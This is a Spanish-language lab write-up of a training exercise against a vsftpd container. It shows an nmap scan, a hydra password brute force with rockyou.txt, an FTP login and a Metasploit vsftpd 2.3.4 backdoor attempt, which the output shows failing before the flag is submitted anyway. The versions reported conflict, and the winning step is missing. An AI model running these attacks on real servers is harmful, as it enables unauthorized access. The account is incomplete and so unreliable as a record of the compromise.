

Laboratorio vsftpd

`nmap -sS -sV -sC -p- 172.17.0.2 -vvv -oA Scan_Nmap`

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 64  vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 172.17.0.1
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 3
|_vsFTPD 3.0.3 - secure, fast, stable
|_End of status
6200/tcp  open  lm-x?    syn-ack ttl 64
MAC Address: 9E:BF:52:1E:0C:99 (Unknown)
```

En la enumeración detectamos lo siguiente:

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 64  vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 172.17.0.1
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 3
|_vsFTPD 3.0.3 - secure, fast, stable
|_End of status
6200/tcp  open  lm-x?    syn-ack ttl 64
MAC Address: 9E:BF:52:1E:0C:99 (Unknown)
```

Detectamos que en el puerto 21 el servidor permite usuario anonymus para poder hacer login “ftp-anon: Anonymous FTP login allowed (FTP code 230)”, es decir que permite autenticación anónima en FTP.

Procederemos a realizar fuerza bruta por medio de la herramienta hydra

hydra -l ftp -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ftp

```
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-17 00:26:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://172.17.0.2:21/
[21][ftp] host: 172.17.0.2 login: ftp password: 123456
[21][ftp] host: 172.17.0.2 login: ftp password: nicole
[21][ftp] host: 172.17.0.2 login: ftp password: 12345
[21][ftp] host: 172.17.0.2 login: ftp password: 123456789
[21][ftp] host: 172.17.0.2 login: ftp password: password
[21][ftp] host: 172.17.0.2 login: ftp password: iloveyou
[21][ftp] host: 172.17.0.2 login: ftp password: princess
[21][ftp] host: 172.17.0.2 login: ftp password: 1234567
[21][ftp] host: 172.17.0.2 login: ftp password: rockyou
[21][ftp] host: 172.17.0.2 login: ftp password: 12345678
[21][ftp] host: 172.17.0.2 login: ftp password: abc123
[21][ftp] host: 172.17.0.2 login: ftp password: daniel
[21][ftp] host: 172.17.0.2 login: ftp password: babygirl
[21][ftp] host: 172.17.0.2 login: ftp password: monkey
[21][ftp] host: 172.17.0.2 login: ftp password: lovely
[21][ftp] host: 172.17.0.2 login: ftp password: jessica
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-17 00:26:21
```

Detectamos algunas claves el cual procedemos para realizar el login usuario: ftp, password:123456

```
(root@Pentest)-[/home/samlab/Escritorio/labs/1]
# ftp 172.17.0.2
Connected to 172.17.0.2.
220 220 (vsFTPD 2.3.4)
Name (172.17.0.2:samlab): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Al tratar de indagar no se pudo encontrar alguna novedad o indicio para poder avanzar. Procedemos a usar metasploit.

```
(root@Pentest)-[~/home/samlab/Escritorio/labs/1]
# msfconsole
Metasploit tip: View advanced module options with advanced
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid
# cowsay++
< metasploit >
  \  (oo)_____)
   (_____)  )\
    |_____|  *

=[ metasploit v6.4.126-dev
+ -- --=[ 2,630 exploits - 1,328 auxiliary - 1,710 payloads
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf >
```

3. Explotación

Como el laboratorio se trata del uso de la herramienta automatizada Metasploit, usaremos la misma para vulnerar la máquina.

Comando: msfconsole

```
msfconsole
msf > search vsftpd

```

Nota: El Banner c...

```
msf > search vsftpd
Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf >
```

Al tratar de ejecutar el payload no permite realizarlo por el puerto 6200

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[!] 172.17.0.2:21 - The port used by the backdoor bind listener is already open. Trying ...
[!] 172.17.0.2:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Puerto	Servicio	Version	Vulnerabilidad Potencial
21	FTP	vsftpd 3.0.3	Acceso anónimo (Lectura/Escritura de archivos)
6200	Desc		

samlab@Pentest: ~/Escritorio/labs/1

root@Pentest: /home/samlab/Escritorio/labs/1

sa

WHOAMI-LABS.COM

Bienvenido a WHOAMI-LABS.COM.

Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde vsftpd.tar ...

[+] Imagen cargada exitosamente

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: VSFTPD

DIFICULTAD: ★★★★★★ fácil (1 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la flag (formato VSFTPD{ ... }): VSFTPD{vsftpd_234_b4ckd00r_sm1l3y_f4c3}

¡Felicitaciones! Has explotado VSFTPD 2.3.4.

FECHA Y HORA: 2026-04-17 01:51:49 -0500

[*] Presiona Ctrl+C para eliminar el laboratorio